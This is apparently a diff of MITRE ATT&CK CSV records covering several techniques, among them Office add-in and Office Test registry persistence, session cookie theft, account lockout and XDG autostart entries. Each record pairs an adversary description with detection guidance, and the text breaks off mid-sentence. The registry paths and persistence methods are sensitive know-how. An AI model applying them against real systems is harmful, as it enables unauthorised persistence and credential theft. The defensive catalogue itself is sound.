FireEye Mail CDS 2018) +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",True,"['Administrator', 'User']","['Windows', 'Office 365']",1.1,,,,,,, +attack-pattern,attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-07T19:52:52.801Z,2021-08-16T21:26:09.296Z,Add-ins,"Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018) -Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1137/006', external_id='T1137.006'), ExternalReference(source_name='Microsoft Office Add-ins', description='Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.', url='https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460'), ExternalReference(source_name='MRWLabs Office Persistence Add-ins', description='Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.', url='https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/'), ExternalReference(source_name='FireEye Mail CDS 2018', description='Caban, D. and Hirani, M. (2018, October 3). You’ve Got Mail! Enterprise Email Compromise. Retrieved April 22, 2019.', url='https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf'), ExternalReference(source_name='GlobalDotName Jun 2019', description='Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.', url='https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique')]",attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-26 17:34:02.877000+00:00,Add-ins,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification']",,,,,"Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins) +Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1137/006', 'external_id': 'T1137.006'}, {'source_name': 'Microsoft Office Add-ins', 'description': 'Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.', 'url': 'https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460'}, {'source_name': 'MRWLabs Office Persistence Add-ins', 'description': 'Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.', 'url': 'https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/'}, {'source_name': 'FireEye Mail CDS 2018', 'description': 'Caban, D. and Hirani, M. (2018, October 3). You’ve Got Mail! Enterprise Email Compromise. Retrieved April 22, 2019.', 'url': 'https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf'}, {'source_name': 'GlobalDotName Jun 2019', 'description': 'Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.', 'url': 'https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification']",,"Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins) -Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior",,,,,True,,,"['Administrator', 'User']","['Windows', 'Office 365']",,,,1.0 -2019-11-07 19:44:04.475000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse the Microsoft Office ""Office Test"" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy) +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior",True,"['Administrator', 'User']","['Windows', 'Office 365']",1.1,,,,,,, +attack-pattern,attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-07T19:44:04.475Z,2021-08-16T21:35:17.618Z,Office Test,"Adversaries may abuse the Microsoft Office ""Office Test"" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy) There exist user and global Registry keys for the Office Test feature: * HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf * HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf -Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1137/002', external_id='T1137.002'), ExternalReference(source_name='Hexacorn Office Test', description='Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10. Retrieved July 3, 2017.', url='http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/'), ExternalReference(source_name='Palo Alto Office Test Sofacy', description='Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.', url='https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/')]",attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-20 15:27:51.559000+00:00,Office Test,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification', 'Module: Module Load']",,,,,"Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy) +Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1137/002', 'external_id': 'T1137.002'}, {'source_name': 'Hexacorn Office Test', 'description': 'Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10. Retrieved July 3, 2017.', 'url': 'http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/'}, {'source_name': 'Palo Alto Office Test Sofacy', 'description': 'Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.', 'url': 'https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification', 'Module: Module Load']",,"Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy) -Consider monitoring Office processes for anomalous DLL loads.",,,,,True,,,"['Administrator', 'User']","['Windows', 'Office 365']",,"['Office 2007, 2010, 2013, and 2016']",,1.0 -2019-10-09 18:48:31.906000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. +Consider monitoring Office processes for anomalous DLL loads.",True,"['Administrator', 'User']","['Windows', 'Office 365']",1.1,,"['Office 2007, 2010, 2013, and 2016']",,,,, +attack-pattern,attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-09T18:48:31.906Z,2020-07-14T19:15:29.911Z,Account Access Removal,"Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. -Adversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1531', external_id='T1531'), ExternalReference(source_name='CarbonBlack LockerGoga 2019', description='CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019.', url='https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/'), ExternalReference(source_name='Unit42 LockerGoga 2019', description='Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.', url='https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/')]",attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2020-07-14 19:15:29.911000+00:00,Account Access Removal,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['User Account: User Account Deletion', 'User Account: User Account Modification', 'Active Directory: Active Directory Object Modification']",,,,,"Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account: +Adversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1531', 'external_id': 'T1531'}, {'source_name': 'CarbonBlack LockerGoga 2019', 'description': 'CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019.', 'url': 'https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/'}, {'source_name': 'Unit42 LockerGoga 2019', 'description': 'Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.', 'url': 'https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['User Account: User Account Deletion', 'User Account: User Account Modification', 'Active Directory: Active Directory Object Modification']",,"Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account: * Event ID 4723 - An attempt was made to change an account's password * Event ID 4724 - An attempt was made to reset an account's password * Event ID 4726 - A user account was deleted * Event ID 4740 - A user account was locked out -Alerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.",,,,['Availability'],False,,,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,1.0 -2019-10-08 20:04:35.508000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. +Alerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.",False,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",1.0,,,,,['Availability'],, +attack-pattern,attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-08T20:04:35.508Z,2021-07-28T01:26:51.971Z,Steal Web Session Cookie,"An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie) -There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) +There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) -After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1539', external_id='T1539'), ExternalReference(source_name='Pass The Cookie', description='Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', url='https://wunderwuzzi23.github.io/blog/passthecookie.html'), ExternalReference(source_name='Kaspersky TajMahal April 2019', description='GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019.', url='https://securelist.com/project-tajmahal/90240/'), ExternalReference(source_name='Unit 42 Mac Crypto Cookies January 2019', description='Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.', url='https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/'), ExternalReference(source_name='Github evilginx2', description='Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.', url='https://github.com/kgretzky/evilginx2'), ExternalReference(source_name='GitHub Mauraena', description='Orrù, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.', url='https://github.com/muraenateam/muraena')]",attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-14 17:57:07.903000+00:00,Steal Web Session Cookie,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Microsoft Threat Intelligence Center (MSTIC)', 'Johann Rehberger']","['File: File Access', 'Process: Process Access']",,,,,Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.,,,,,False,,,['User'],"['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS', 'Google Workspace']",,,,1.1 -2019-10-04 20:42:28.541000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users. +After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1539', 'external_id': 'T1539'}, {'source_name': 'Pass The Cookie', 'description': 'Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', 'url': 'https://wunderwuzzi23.github.io/blog/passthecookie.html'}, {'source_name': 'Kaspersky TajMahal April 2019', 'description': 'GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019.', 'url': 'https://securelist.com/project-tajmahal/90240/'}, {'source_name': 'Unit 42 Mac Crypto Cookies January 2019', 'description': 'Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.', 'url': 'https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/'}, {'source_name': 'Github evilginx2', 'description': 'Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.', 'url': 'https://github.com/kgretzky/evilginx2'}, {'source_name': 'GitHub Mauraena', 'description': 'Orrù, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.', 'url': 'https://github.com/muraenateam/muraena'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Microsoft Threat Intelligence Center (MSTIC)', 'Johann Rehberger']","['File: File Access', 'Process: Process Access']",,Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.,False,['User'],"['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS', 'Google Workspace']",1.2,,,,,,, +attack-pattern,attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-04T20:42:28.541Z,2020-03-27T21:18:48.149Z,System Shutdown/Reboot,"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users. -Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1529', external_id='T1529'), ExternalReference(source_name='Microsoft Shutdown Oct 2017', description='Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.', url='https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown'), ExternalReference(source_name='Talos Nyetya June 2017', description='Chiu, A. (2016, June 27). New Ransomware Variant ""Nyetya"" Compromises Systems Worldwide. Retrieved March 26, 2019.', url='https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html'), ExternalReference(source_name='Talos Olympic Destroyer 2018', description='Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', url='https://blog.talosintelligence.com/2018/02/olympic-destroyer.html')]",attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2020-03-27 21:18:48.149000+00:00,System Shutdown/Reboot,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Sensor Health: Host Status']",,,,,"Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006.",,,,['Availability'],False,,,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,1.0 -2019-09-16 17:52:44.147000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. +Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1529', 'external_id': 'T1529'}, {'source_name': 'Microsoft Shutdown Oct 2017', 'description': 'Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown'}, {'source_name': 'Talos Nyetya June 2017', 'description': 'Chiu, A. (2016, June 27). New Ransomware Variant ""Nyetya"" Compromises Systems Worldwide. Retrieved March 26, 2019.', 'url': 'https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html'}, {'source_name': 'Talos Olympic Destroyer 2018', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Sensor Health: Host Status']",,"Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006.",False,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",1.0,,,,,['Availability'],, +attack-pattern,attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-16T17:52:44.147Z,2021-03-29T16:05:00.456Z,Software Discovery,"Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. -Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1518', external_id='T1518'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/580.html', external_id='CAPEC-580')]",attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-03-29 16:05:00.456000+00:00,Software Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Firewall: Firewall Metadata', 'Firewall: Firewall Enumeration', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. +Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1518', 'external_id': 'T1518'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/580.html', 'external_id': 'CAPEC-580'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Firewall: Firewall Metadata', 'Firewall: Firewall Enumeration', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,False,,,"['User', 'Administrator']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,1.3 -2019-09-10 18:13:12.195000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006) +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",1.3,,,,,,, +attack-pattern,attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-10T18:13:12.195Z,2020-11-10T15:55:10.103Z,XDG Autostart Entries,"Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006) Within an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name key indicates an arbitrary name assigned by the creator and the Exec key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys) -Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1547/013', external_id='T1547.013'), ExternalReference(source_name='Free Desktop Application Autostart Feb 2006', description='Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.', url='https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html'), ExternalReference(source_name='Free Desktop Entry Keys', description='Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019.', url='https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html')]",attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-11-10 15:55:10.103000+00:00,XDG Autostart Entries,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Tony Lambert, Red Canary']","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,,,,"Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline. +Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make 